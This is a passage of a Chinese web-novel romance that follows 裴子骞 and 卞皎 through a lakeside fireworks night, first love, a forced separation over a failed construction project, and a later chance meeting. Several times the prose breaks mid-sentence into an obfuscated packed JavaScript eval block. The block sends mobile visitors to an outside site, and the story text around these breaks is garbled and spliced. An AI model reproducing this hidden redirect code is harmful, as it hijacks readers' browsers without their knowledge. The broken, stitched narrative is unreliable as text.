这时他才意识到,原来白猫看似毛绒的爪下竟有着那么锋利的指甲,甚至低头玩弄老鼠的样子与初见那天懒洋洋从楼顶上起身看自己时一模一样。 裴子骞无端觉得,卞皎和这只白猫很像。甚至他都不用亮出利爪,仅仅是摇摆一下尾巴,就轻易让人甘愿被玩弄。而自己就像那只拳头大的老鼠,也许并不甘愿,但就是逃不出。 这一晚,裴子骞虽然失去了睡眠,但却意识到了一点—— 他最先的想法并不错误。 卞皎确实不是一个成熟的世界旅客,相反,他天真到一种残忍的极点。自己在他眼中不过算一只老鼠,又或者是一只被错误认为甘愿的狐狸,即使抗拒,即使逃避,即使再冷眼相待,也不过是在给他信号,那就是自己亟待被驯服。 接下来,裴子骞决计要与这只白猫保持安全距离,不过似乎没那么容易。 首先是周六惯常的课他必须上,其次是卞皎也不再像以往一样三天两头才在学校出现一次,而是每天全勤,并且虽然不再试图和他打招呼,但那双时常飘来的视线变得越来越大胆,越来越无法忽视。 因此某一次周六上课前,裴子骞决定与对方说清。 这种说清很需要把握好尺度,既不能让两方尴尬,又不能给对方假装听不懂的机会,后来裴子骞在生意场上做过许多次类似的谈判,甚至经历过更加两难的处境,但似乎都比那一天的容易。那一天他在公交车上没有听英语听力,而是望着窗外次序划过的茂绿树干,心底一遍一遍模拟卞皎可能回答的话,可能有的语气。 到最后,他的手甚至摸向裤兜里的烟盒,意识到现在是在公交上后才抽出来,然后低低地骂了一句。 他想自己为什么要这么不好做。 就算是直接告诉卞皎我不可能和你做朋友,又能怎样?就算让对方知道那天的话自己听到了,又能怎样?为什么对方天真,自己却要替他受罪?为什么? 最后公交在金湖区站停靠,此时距离上课时间还有四十分钟。裴子骞下车后找了一棵树靠着抽烟。 这棵老树应该长了很多年,树干粗大,枝叶荣滋,他抬头望了眼,从树叶的缝隙中看到一片亮蓝色的天幕,然后低下头,一根接着一根地继续抽烟。直到远处的车站过去三辆十五路,才忽然抬头看了眼时间,已经二十分钟过去。 捻灭最后一根烟,他俯身将脚下的烟头全部捡走扔到公车站旁的垃圾桶,然后走到对面,坐上相反的十五路。 他依旧没有播放英语听力,因为在那四根烟的二十分钟里,他又想通一件事情,那就是说清这两个字本身并不困难。 真正难的,是他根本不想说清。 想清这一点后,裴子骞不再逃避。 上课时卞皎的搭白他会回复,学校里对方的视线他也平静投回,甚至有几次周末,卞皎找他来家里玩游戏、看电影他也通通来者不拒。但这并不代表他与卞皎是朋友。他只是想看看,这只白猫的耐心有多久,多久之后自己会像对方家里的那把弹了几次便被放在角落的吉他,腻了就弃。 出乎意料的是,卞皎的热度比他想象的持久,至少到这年元旦之前,对方还会邀请他去家里玩最新购入的游戏机,而他只点头说好,就像此前每一次被邀请。 元旦前一天,卞皎给他打来电话,说金湖又要办烟花晚会,今夜可不可以和他一起去看。 裴子骞想为什么这个人总是不懂得邀约要提前说,但最后还是应允。 也许是上一次中秋游园挂羊头卖狗肉被公众讨伐不轻,阳市这次确实是下了血本。 裴子骞下午六点半如约到金湖旁时,对岸已经有好几十名工作人员的身影在摆放烟花道具,视线放近,卞皎就站在下方的围栏边,支着下巴看对岸忙碌的身影。 这一天人真的很多,天还未黑,几个台阶的距离就已挤满了观众,裴子骞就站在原地,没有出声叫卞皎。 冬天日落很早,这时天边已有火烧的云,映得整个金湖火光一片。可以看见四周的人都举起手机拍照,绮丽的景被收入屏幕,好像一刻定格就能永远定格,就在这样纷繁的镜头花束中,最中间的那个人却只轻轻仰起头看向天空。 裴子骞就顺着卞皎的视线朝天空望,发现他看的似乎并不是火红的云朵,而是最远处那块唯一的天蓝。 他有些不明白。 不论是欣赏日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323382|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落还是欣赏烟花,卞皎站在的都是风景最好的那个位置,可他偏偏都不看,都不拍。他好像只看蓝天。裴子骞就想起对方给自己发过的那张彩信——整张图片万里无云,碧空如洗的样子,恰似此刻天边那唯一一抹洞蓝。 后来裴子骞寻找过很多次那抹蓝色。 大学时期教授在收集某次展品时对他们说,主题是“没有意义的意义”,裴子骞第一瞬间就想到某一年元旦前夜在金湖天空上看到的那抹蓝。 为了做成人生中第一项展品,他回了很多次国采集颜色信息,每一次却都真不巧,遇上连绵的阴雨,最终只能选择翻出很久很久以前就决定再也不要打开的一张照片。 直到记忆中那抹蓝色成功出现在天空球上,裴子骞感觉自己好像终于明白了什么叫“没有意义的意义”,当然也还明白了其他更多,比如为什么有人要将那片天空拍下,又为什么有人在盛大的日落前唯独只看小小的一片洞蓝。 只是这时一切对他来说,好像都没有意义再提。 日落并不长久,很快天边便升起一抹淡淡的皎洁月光。 裴子骞这时听到前方有声音在叫自己:“裴子骞——” 是卞皎在招手,夜晚纷杂的光束照在他的脸庞之上,都变得洵白干净。 裴子骞刚想应该通过什么方式告知对方,自己现在不可能再挤下去,却见到那个身影转了个方向,逆着人群朝他走来。 最完美的观景位置被让出,一小片空隙带来的空间很快引起人潮涌动,卞皎却没有丝毫犹豫,背离金湖与人群,终于站到裴子骞面前,然后仰起眼睛。 “你好聪明,”他说,“站在高的地方,我就可以看见你。” 很多年过去,这双眼睛依旧在裴子骞的记忆中闪着笑意,好像当时全金湖倒映的星点都在这双眼中。 裴子骞记得当时的自己很喜欢问为什么。 比如为什么卞皎要从最好的位置走向自己,为什么不直接招手让自己挤下去,又或者可以完全不理自己,毕竟烟花秀就要开始,那是他期待很久的东西。 但那一天他没有问。 与其说是他的追问欲在那一个时刻无端减弱,不如说是他害怕追问出来的答案不动听。 只要卞皎没有机会回答,他就永远可以告诉自己: 这个人是为你走来,比起烟花,他更想看见你。 晚八点半,烟花秀准时开始。 一束火星徐徐升空,紧接着万千花火在一声爆裂中四散,裴子骞侧了一下目光,就看见卞皎的眼底飘洒淡蓝色繁星。 忽然,对方动了下手臂,裴子骞就慌忙撤开视线,却发现其实他只是换了一只手撑在下巴前。 也许是因为烟火鸣放声太大,卞皎少有地静静看着,没有开口说话,一直到夜空中的万千颜色消逝,裴子骞才听见身边传来一声从未听过的叹息,很轻很轻。 无人机开始表演,裴子骞终于找到勇气,说:“你刚刚叹气?” 卞皎闻言,好像轻笑了一下。 “你听到了?” “嗯。”裴子骞就继续问:“为什么?” 卞皎转头看他,好像很惊讶。 “你连问了我两个问题。” 裴子骞没有说话。 卞皎于是转回头。透过余光,裴子骞可以看见他伸直双臂,做了一个很放松的伸展,然后轻轻启唇:“我上一次看烟花,是小时候在苏市,那时候家人都在……哦,除了老郑。我有告诉过你么,老郑不是我的亲生父亲。” 裴子骞如实说:“没有。” 卞皎忽然凑到他的面前,看他的眼睛:“你信吗?” 裴子骞感觉自己握住扶手的手指一瞬抓紧。 “不信。”他答。 “那你错了。”卞皎一笑,撤退时裴子骞趁机看了一眼他的眼睛,那眼眸里满是得逞的开心:“他真的不是我亲爹。他娶了我妈,但是初一的时候我妈走了,糖尿病。” 最后三个字攫住他的注意:“糖尿病?” 卞皎盯着天空上的“烟火阳州”四个字,轻轻嗯了一声。 “严格来讲,是严重的并发症,其实我也不是很清楚,只知道大概是哪个器官。” 裴子骞终于侧过脸去看他,良久,他说:“我家人刚刚出院,糖尿病。” 卞皎的表情忽然滞了一瞬,接着就是很明显的一小抹慌乱。 “抱歉,”他说:“我不知道你……你别听我刚刚说的,我妈是个例,这种病很常见,大部分都不会有问题,只要平常控制好……” “没关系。”裴子骞说。 他想这个话题太过沉重,卞皎能和自己说出口应该很不容易。 世界上糖尿病患者千千万万,尤其是在中老年者身上更是频发,其实自己已经习惯,只是卞皎……如果他妈妈在初一的时候就去世,那应该还很年轻。 接下来的过程里,卞皎似乎有意避开刚才的话题不再提。 后来他也有举起手机对着外面拍照,但不过是拍了一张金湖湖水,以及拥挤的人群。 “我要给老郑看看这里有多少人。”他只是说。 那天之后,裴子骞不再能对卞皎说出以前轻易出口的冷淡话语。 他后来才了解到,原来卞皎和自己一样,从出生起就没有见过父亲。他有看过卞皎母亲的照片,穿着一袭淡蓝色旗袍,靠在郑怀远的肩膀上,很漂亮,卞皎的五官和她很像。 这时候,他忽然想到过去那只白猫。 他想或许它玩弄小鼠的模样天真到可恶,但归根到底一生都在流浪,就像自己。 26.P-难捱2 喜欢上卞皎对裴子骞来说,太过理所当然。 在金湖旁经历了这么许许多多,他想如果没有喜欢上,那才是真的有问题。 只是就像和卞皎做朋友没那么容易一样,要和他做.爱人也并不简单,裴子骞知道自己的感情比对方要早太多,也孤单太久。 其实他的意识到自己喜欢男人很简单,不过是在某个周末看了最喜欢的导演的一部旧片,然后发现自己对屏幕里交.媾的两个男人起了反应。后来他到国外生活几年,发现世界上这样的人不计其数,但也许只是因为当时年龄太小,又或者是因为城市太小,他只觉得自己好像又多了一件不合群的事情。 一开始,他并没有想法自己喜欢谁。 因为每一次自我发.泄都不怎么有固定目标,在看那部电影前,他只是单纯的纾.解,在那部电影后,他就有意识地为自己找过几部题材相同的片。但始终没有哪部能比得上那一部。 直到高二上册期末考的前一周,他停掉与卞皎的课程专心备考。一天的高专注复习后,他准备打开那部电影,这时,手机响了。 是卞皎打来。 他问了他一道物理题,裴子骞花了五分钟为他讲解,挂断电话后,他伸手去桌上拿遥控,却发现自己竟然已经起了反应。 后来裴子骞在德国留学时有跟研究性取向相关的学者进行交流,对方说对男人交.媾的视频出现生理反应在严格意义上讲并不能算同性恋,裴子骞就问,对具体一个男人呢? 陈久玥当时就在旁边,那位学者是她师兄。 她就代替师兄的沉默说:“算你很喜欢他咯。” 裴子骞则说:“这件事并不需要别人告诉我。” 他从不怀疑自己曾经对卞皎的喜欢。 但他不明白,为什么那么多部电影,他偏偏只对那一部反应强烈,就像他不明白,为什么出国之后分明也有遇到过难以回避的动情,可他偏偏对任何人都没有兴趣。 他想他自己并不是一个多么忠情的人,一切的一切,可能只因为卞皎。 卞皎真的是他人生中唯一一个意外。 裴子骞其实很早就知道自己的身世,也曾被裴家的人联系过许多次,但他早已给自己的生命既定好轨道,比如要在阳市念完高中,读理科,大学去首都,不接受裴家的任何帮助,在首都买一间不大的房子,再将祖母一起接过去同住,一辈子不结婚。 可一切都被卞皎打乱。 发现自己对卞皎的感情后,他的计划就改变。变成要在阳市念完高中,读理科,大学去首都,不接受裴家的任何帮助,在首都买一间不大的房子,再将祖母一起接过去同住,一辈子和卞皎保持联系。 不一定要在一起,也不一定要陈明心事,一辈子保持联系对十六岁的他而言,已经是很远很远的一个目标。 卞皎却不是一个有轨道的人。 他说他的愿望是在人生的游戏中玩得开心。他最喜欢塞舌尔的海滩,最爱龙目岛的日落,说他今年寒假虽然没办法再去欧洲,但是或许可以让郑怀远带他去札幌滑雪,他说你知不知道有一个词语叫做梵天一梦,好高深对不对,其实我并不信这些宗教什么的,但我想总之人生不过是一场绮梦,我们谁也不知道什么时候会醒。 后来裴子骞出国,每年寥寥几日的假期也试过出游,塞舌尔、龙目岛不再是他只能在地图上看到的名字,札幌也比阳市到首都的距离还要近,可他却并没有觉得这些地方有卞皎口中的那么充满魅力。 他想自己好像真的在水里捞一枚月亮,真的徒劳无功,也许人生确实是绮梦一场,见不到最爱的人便醒。 可是一切又是如何走到这样一步? 分明他最初的愿望仅仅是和对方保持一辈子的联系,也许后来他得到的远比奢求的要多,但他又不是要天上的月亮。 即使真的是天上的月亮,凭什么一切给予他后,又被剥夺? 一年前因为公司IPO上市原因,裴子骞在欧洲有过短暂的一段紧张性头痛,医生最终建议他去看心理。 过程中对方很自然地带他回溯到了这段感情经历,后来他才知道这种方式叫做暴露疗法,总之那一段时间,他无法阻止地回忆到了最难捱的那个冬季—— 高二寒假。 意识到对卞皎的反应后,裴子骞许多天无法入眠。漫长深宵里,他也有翻出手机中保存很久的那个视频,戴上耳机,循环播放。 就像无数情窦初开的少年,他其实并不能确定自己对卞皎是什么样的情感,又或许是心中有过答案,但是不敢肯定。毕竟爱情,尤其是同性间的爱情,莫大禁忌,所以他的第一选择是回避。 直到寒假过去一周左右,成绩出炉,这一天他并不在社区超市,相反请假在家,不知道为什么他总有一种直觉,那就是今天一定会接到一通电话,一通来自他的电话。 果然正午刚过,铃声响起,来电显示卞皎。 他叫他一起去马场,说要见他新买的马。 期待许久的电话接起,裴子骞却意外地继续保持回避。他说他今天安排很满,下午还要去小学辅导。 卞皎沉默几秒,竟然问他薪资。 其实回想起来,裴子骞自己都在想当初为什么有那么无可救药的自尊心,明明卞皎开出一个价格,他到场,这就是很普通的一场交易,甚至用钱货两讫形容也不为过。但当时,他就是不肯松口。 分明很想见到这个人,很想和他说话,很想触碰,做更出格的事情,但是却无法控制地将语调冷下,一句一句全是拒绝。 反而卞皎不肯放弃。 他一如既往地对裴子骞说了很多话,利诱也有威逼也有,劝来劝去,直到最后一句: “我真的很想让你和我一起见它,这是我的第一匹马……” 裴子骞终于说好。挂断电话后,他点燃一根香烟,靠在床头抽了很久,直到没什么感觉,才起床穿衣。 去马场的一路,他都在反思自己是不是太过恶俗,为什么总是要听到对方恳求自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331691|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才会答应,分明自己也想去到不行。但真正见到卞皎的那刻,他就不再反思了。 他想应该忏悔。 这天是一整个阴天,卞皎穿了一件白色羽绒服,站在路边等他,下半张脸埋在领子后面,看见他后眼睛立刻就亮了起来。 分明只有一周没有见面,却像相隔好几年,裴子骞一瞬间又想抽烟。 一路上,卞皎都在说那匹马有多漂亮,毛色亮得不行,尤其一双眼睛黑漆如墨,就像某个成语,这个时候裴子骞真的无心去听,他只能看见对方的唇在一张一合,雾气从唇.瓣边慢慢飘向天际。见到那匹马后,裴子骞的视线也依旧没能从卞皎的唇上移开,他想分明现在是冬季,一般人的唇色都会偏白甚至发紫,为什么他的唇.瓣还是红色。 裴子骞就很俗气地想到樱桃。不知道冬季有没有卖樱桃的。 天外这时已经日落,郊区的天空一片深蓝。 马厩内,卞皎抚摸着这匹黑马,取了很久的名字。他苦恼时会蹙眉,左手手指在最近的物体上有节奏地敲打,如果没有物体,那就敲打另一只手。 裴子骞这时伸手扶了一下卞皎身旁的木支架,果然下一秒对方的手指敲打的震动就传到他的手心,很轻很轻,几若不存在,但当全身注意力集中在那里时,就像一根羽毛在轻挠手心。 将视线从天际移向卞皎,裴子骞状似不经意说:“叫蓝调怎么样,今天的天虽然不算蓝,但于现在日落时分难得放晴,其实已经足够。” 他知道卞皎会喜欢这个名字,但比起知道,他更希望卞皎一定喜欢这个名字,就是这样无法宣之于口的私心,他想要卞皎人生的第一匹马拥有自己取的名字。 卞皎果然喜欢。 倘若这一天到这里就结束,那么一切真的美好至极。 但又是私心作祟,裴子骞极具自我意志地抛掉了见好就收这个道理,将卞皎带回了自己的家。 时至今日,裴子骞很难确定自己当初的动机是否单纯,总之不管动机如何,结果都像一块血淋淋的疤痕,将他最不想看见的结果撕裂到他掌心—— 令他意识到自己喜欢男人的那部片子,被卞皎播放。 画面上的肉/体交/缠反转,声.色.旖.旎,当看见卞皎一眨不眨的目光时,裴子骞的第一个反应居然是庆幸。他终于看到了,他终于可以知道世界上还有两个男人的存在,他以前知道么?他以前想过么? 可卞皎的表情回答了他,他从未想过。 他的眼睛因为震惊微微瞪大,左眼上方那颗小痣若隐若现。 裴子骞回忆到这里才知道原来自己当初看得那么细致,就像将那一幕当作此生最后插/进胸口的匕首,生命痛到此处便停。 “如若真的痛到此处便停,那就太好不过。” 咨询到半场,裴子骞记得自己对对方说:“太过美好的记忆我不想再寻。你想不想知道我们为什么分开?” 咨询师放下记录的笔,说:“如果今天您还能继续回忆,请。” 27.P-雪山3 “我时常梦到一只白猫……” 裴子骞时常梦到那只白猫。 舔舐爪牙的样子、抖动毛发的样子、露出肚皮让他抚摸的样子,每梦一次,他就后悔一次。 他后悔当初为什么因为一场事不关己的猫鼠游戏就弃对方于不顾,他想到那天之后白猫很少出现,第二年的冬天后更是再也不见身影。如果时间能够倒退,如果再回到那个撞见墙角所发生事情的下午,他想自己可能会做出完全相反的反应。 然而多年过去,当意识到这样的时机后来真正有重现在自己面前时,裴子骞还是发现,他做不到。 “高三寒假,卞皎父亲捡起去年履行一半的承诺,带他出国旅行。那个假期,我再次面临两个抉择,第一,正常参加高考,第二,接受裴家的建议,归宗,然后出国。我说过,我很早就知道自己的身世,这些年来他们也并不是没有联系过我,但我没有一次想过同意,甚至连一瞬间的摇摆都未曾有过,唯独这一次。 “这一次挂断首都打来的电话后,卞皎的电话打进,我接起,他的声音很兴奋,尾音上扬,同我讲慕尼黑可以看到阿尔卑斯雪山,有很漂亮的晚霞。也许是因为我的回应太浅淡,他的声音也就渐渐小声下来,最后对我说,那里的湖泊其实并没有金湖漂亮,如果可以,他很想快点回家。很可笑吧?为了维护我可悲的自尊心,他什么话都可以讲,我却并没有因此有多高兴。因为这通电话令终于我不得不面对一个问题,那就是,我是否配得上他。” 多疑、敏感、固执,裴子骞用这三个词语形容十六七岁的自己。 多年过去,也许心境改变,当初的自卑连他自己都觉得幼稚至极,又也许人确实无法共情过去的自己,真正如叔本华所说永远在得不到的痛苦与得到的无聊之间反复摇荡,总之从今天回望过去,裴子骞才反应过来,当初自己在痛苦中沉浸得实在太深,以至于忘记,其实一切都有更好的选择。 “我一直在想,如果人生真的按照卞皎所说是一场梦境,那么蓝本源自哪里,又或许它是一场游戏,那么代码由谁编写。为什么每一次遇到同样问题时,我总会做出一样错误的决定—— “那年寒假结束,卞皎没有回到学校,郑怀远也没有,开学一周后我去看过,金湖的那幢房子被搬空出售。” 白猫不见身影。 “我不知道发生了什么,任何可以联系的方式我都试过,电话、短信,甚至我找到他的老师,得到一个首都的电话,直到在拨出前,我才终于得知一件事情。” 二零一九年初,郑怀远于阳市承包一项工程。 工程总值十亿,半年前因环保事故,项目停摆,最终烂尾。烂尾一事发生后,投资的几百户散户因此受创。 裴子骞的大伯陈素忠正是其中之一。 陈素忠失意多年,原以为遇到千载难逢机会,因此以唯一一栋自建房为抵押,筹措三十万高利贷全部投入池中。 “他要做什么其实与我无关,在阳市生长十多年来,我与他之间比起亲人,更像租客。” 裴子骞讲到这儿摩擦了下食指,他想点烟。 “这几年我在德国读书,已经花费掉许多个三十,就比如我们今天的咨询……抱歉,我有些记不清你的收费标准,一千欧每时?他抵押全部房产得到的资金,仅能重复我们今天对话不到三十次,这不是一个合适的类比,但很形象不是么。所以我想,或许你不大能明白这笔钱对他的意义——他一辈子,就这么一栋房子。” “也就是说,如果一场灾病发生,这是他唯一的退路。” 可这条退路从此被斩断。 “得知事情全貌前我刚刚结束那学期第二次月考,接到电话赶回家中,发现一切都变样。” 那栋自建房还在,东西没有搬走,楼下也并无人追债,但一辆救护车停在巷口,红色闪动的警报灯光把水泥灰色的墙面照得可怖。 裴子骞僵站在原地,只能看见从一楼抬出的担架上有熟悉的身影。 “当天晚上,我的祖母心梗去世。” 追债的人并非没有上门,只是他们到来时,整栋四楼房子只有裴子骞祖母一人。 陈素忠不是没有想过隐瞒母亲,尤其是这样大笔的一项投资失败,他知道自己绝对不能向老人透露半分。其实生意场上有输有赢,早年新甘一带的经历已经给过他心理建设,他又没有子嗣,如果说唯一有挂念,那就只有年迈的母亲一人,可惜世事帷幕有隙光,等到真正悔过时,不过人走茶凉。 “事到如今,不论再说什么,其实都已没有意义。”裴子骞讲到这里,竟然轻轻笑了一下。 他抬起眼睛看向面前那个在介绍中被描述为行业最顶尖的心理咨询师,立体的西方面孔,不知道这场无聊的自陈对方听懂多少,自己在对方眼中又是怎样一个形象。 四方空间内,唯有腕表的指针在发出轻响喻示时间走动。 就当咨询师轻吸一口气预备开口时,裴子骞却忽然动了下手指。他出声—— “你能告诉我,白猫代表什么吗?” 一切好像倒回到童年时小巷墙角。 白猫的爪下是一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴子骞抬头,眼中盛满复杂情绪。 “他好像很开心,至少没有一点忧虑的样子。在那天之前,我还想过他是不是被郑怀远管制,所以无法打电话,无法出门,无法与我有任何接触。但事实证明,我错得离谱。” “我并非圣人,无法做到不埋怨任何人,也承认在事情发生之后真的有怨过他,但这份怨实在力量太小,轻易就被击倒。说起来我自己都觉得好笑,那天我等在校门前要见他,肚子里一堆腹稿,想来想去,最后竟然只想对他说一句话。我想说,卞皎,我很想你。” 真的很想很想,很想你。 可你怎么忍心。 28.N-欺骗1 阳市之旅的第五天,宋清终于出现。 他的左眼眉骨上方好像有一团淤青,总之裴子骞落座车后排时,他手上正拿着一颗鸡蛋在敷滚。 “别问我发生了什么,”宋清说,“只能说那个痴线比我还惨。” 裴子骞按下窗户,让风吹进。 宋清见状停下动作,看了眼手中的鸡蛋:“有气味?” 裴子骞只看着窗外,说:“还好。” 宋清顺着他的视线朝外看,不过能看见远处日落,金湖旁的柳树一棵棵拂过眼前。 他啧了一声:“喂,我听说你昨天在酒店待了一天。” 裴子骞没有回答。 宋清就说:“今天不是什么重要行程,不舒服继续休息,不要硬撑。Oneiro没我可以,没你不行。” 其实在阳市一周的安排,只有前三天最为重要,剩余都是可有可无的交流或是座谈。 尤其今天的跨界交流晚宴,由市文旅局主操。宋清一开始甚至不明白文旅局的活动为什么要邀请他们两位毫不沾边的,直到前天晚上饭桌上有人提了一嘴,说现在名人效应大到超乎想象,阳市近年着力发展旅游业,引进多部电影在此筹拍,裴总因与陈久玥绯闻曝光,加之新车发布,如今连带着整个鹏远科技在互联网上热度不小。 前方助理听到宋清的话,回头等待裴子骞指示。 裴子骞升起车窗说:“Oneiro非我一个人所有,阳市给了我们很多支持,双向受益。” 宋清笑了下,就说行。 金湖区果然离市区很远,到达酒店时已近傍晚六点,两位一下车便被迎进后台一间休息室。晚宴的流程已经提前两天由助理确认过,此刻打印出来交到手中,宋清看了一眼便放下,裴子骞则一条一条细致浏览过。 “所以我们也不需要发言,只是最后和各位领导合一张影?”宋清说:“这算什么交流会? exchange在哪里?” 裴子骞放下流程:“至少不必费神。”他也没有多少神能够再费。 助理则靠在沙发边,显然对宋清的质疑有另一番理解。 “宋,你这就不懂跨界这个词的玄妙了。对领导来讲,他从我们这堆玩电脑的走到另一堆玩电影的,哎!”他拍了下掌:“这不就跨了吗?” 谁料宋清闻言表情变了下。他坐起来:“另外一堆是拍电影的?” “是啊,”助理说,“我刚刚看过,pretty。” 裴子骞起身,走到茶几边倒了几杯水,递给房间里的三人。 宋清接过,只问助理:“有没有男演员?” 助理笑道:“你口味变了?” “算了。”宋清重新倒回沙发里:“诶,我下周去港一趟,Chan的机票订的多久,先回慕尼黑还是先去英国?” “先去英国。”裴子骞说。 他在英国还有些事情需要结束。 宋清还想问什么,将将启唇,这时休息室响起敲门声。助理应开门,是cue流程的工作人员通知可以入场落座,宋清便闭上嘴叹了声气起身,与裴子骞一同走出门外。 阳市早年着重发展重工业,实力雄厚,近些年中央狠抓环保后才改变发展策略,不过从晚宴的装潢上还是可以看出来,这座城市依旧焕发生机。 大厅灯光暗下,唯有展台上方处有打灯,宋清落座后明显心不在焉,眼睛四处飘来飘去。 “那一桌是不是剧组?”他对裴子骞说:“有几个很赏心悦目。” 裴子骞顺着他的视线看去,不远处的一张圆桌前确实坐着几位气质不同的女性,尤其其中一位,模糊光影中令人觉得眉眼相熟。 “也许。”他收回视线答。 四下响起音乐,台上走入两位衣着正式的主持人,宣布晚宴正式开始。也许是因为音量有些过高,裴子骞的眉微微有些皱起。 他侧身对宋清说:“有没带烟?” “你没带?”对方从内衬袋里取出一包外烟,万般珍惜:“只许抽一根啊。” 裴子骞接过起身,扣起纽扣轻风云淡:“那你给我一盒?” “靠……” 方才进入的出口此刻已经关闭,唯剩右后方还有一处室外光线打入。 环视一圈,裴子骞就朝身后走去。音乐改变,似乎一位领导上台,场内灯光随之更加黑暗。昏暗中,一个身影与他相撞。 “抱歉,借——” 那个身影抬头,却在与裴子骞对视的一瞬间停住。 宋清感觉到身后动静,侧身看去。 视线模糊,却只看见裴子骞的黑色背影在朝室外光线慢慢走远,没有什么异常,不过近处倒是有一个男人愣在原地。 他微微眯眼看了一下,对方生了一张很美丽的面孔,于是热忱发问:“你好,需要帮助么?” 直到问出第二遍,对方才像刚刚回神,收回目光看向他。 宋清这时就发现他左眼上方有一颗浅色小痣,连着睫毛在微微轻颤。 “不用,”对方说,“多谢。” 宋清在那颗痣上多停了两秒,颔首回:“不客气。” 卞皎找到座位时,晚宴已开场十分钟。 《南城往事》男主角与导演今日都未到场,席上仅有几位女演员,其中一位饰演电影女主角。 两日前卞皎独自来到阳市,昨日正式进组,仅拍过一场室内戏,今日便跟随剧组参加这场跨界交流晚宴。 今日上午,他乘十五路公交在市中心浅显游览过一转。 几年过去,这座城市并未发生多大变化,交通依旧是个难题,午晚高峰时期还是和过去一样堵得水泄不通,方才出门前他分明已经留足时间,最后仍然在路中耽搁稍许。 大概十分钟过去,台上领导终于发言完毕,灯光全部亮起。 卞皎的目光第一时间就朝刚刚走来的路上扫去,却没有看见那个身影。 女主演这时叫了他一声:“小皎,喝什么?” 卞皎回头,对方手中已经拿有一只笛形香槟杯,朝他稍稍抬了抬:“香槟?” 他目光垂落,扫了下桌上一瓶香槟,已被侍者开启,淡黄色液体上方有些许气泡。微微起身,他取过酒瓶,对方就很自然将杯子递上前,杯满后笑着道了声谢。 席上菜品并不多,中式菜样西式摆盘,几位演员都只象征性地动了下筷,卞皎则摩挲着手中的酒杯。 他没有想法饮酒,只是置身人声喧嚣中,他没办法不依恋这抹冰凉的触感。 来阳市前,他在首都去了一趟商场,于一家集合店中购入熟悉包装的那款香薰。 摩洛哥薄荷茶的香味依旧沁人心脾,仅仅是放在旧台灯之下,不用点燃,便能闻到曾经日夜不离的味道。收拾行李时,卞皎首先将这支香薰放入箱中,然后才是剧本、衣物,以及其他必需品,他想如果在剧组入眠困难,香薰或许能帮到忙。 但他没想到在阳市遇见裴子骞。 方才相撞,对方仅仅是与他对视一眼,接着就朝外走去,甚至没有一秒停留。 卞皎仍记得一周前,方岑在听完他的讲述后,说“恨”这个字很重,他与裴子骞之间不至于。 难道他就不知道这个字重么? 世间情感,爱恨悲仇,没有一个字不重到轻易无法出口。 恰恰就似他与裴子骞之间的过去,轻易无法出口——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346797|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二零二一年春,郑怀远以高考在即玩得尽兴为由,将卞皎的欧洲游延长到三月中旬,结束后直接返回首都。 卞皎本以为郑怀远只是在首都处理几天事情,却没想到这一待就是两个半月。期间他的手机、电脑通讯全被收走,郑怀远向他坦白阳市工程一事,并称他已通过手段在境外保住一批资产,只是中途出现一些差错,不得不回国。他说这件事并不违法,开公司投项目浮沉正常,如今已是法治社会,欠债一事不会影响他们的正常生活。 卞皎一开始什么都不清楚,对父亲的话全然相信,为了配合对方,他中途几次都停下联系裴子骞的想法。 他知道裴子骞一定会担心,但此时距离高考不过两个多月,郑怀远也说已经给学校那边打过招呼,要他专心准备国内考试,成绩结果并不重要,这段时间过去,他会想办法送他出国念书,但前提是一定要等这段时间过去。 高考前一天,卞皎回到阳市。 郑怀远终于将通讯工具交还给他,并承诺考试结束后可以给他半天时间。卞皎拿到手机,却没有第一时间给裴子骞电话,毕竟高考在即,他想不要耽搁对方准备考试,一切并不急于这一时。 然而六月八号最后一门考试结束,卞皎出门后先接通郑怀远的电话。 对方关问考试是否顺利之后要求他立即回到首都,并且告知其实一直有聘请安保在校外监候他。 “爸爸也是没有办法,我们今后不可能再回到阳市,那也不是什么好地方,穷山恶水出刁民,我在那里长大最清楚,你听话,跟着叔叔一起上飞机……” 后来一切的发生在卞皎的记忆中都逐渐模糊。 卞皎只知道自己接通那通电话后第一次对郑怀远产生怀疑,后来手机收走,他被带上回首都的飞机,一切魔幻得像是电视剧里才会出现的场景,在飞机上,他甚至萌生过要不要和空乘求助的想法。 但当嘴唇张到一半,声音都快发出,他才意识到自己根本没有立场求助。 求助什么? 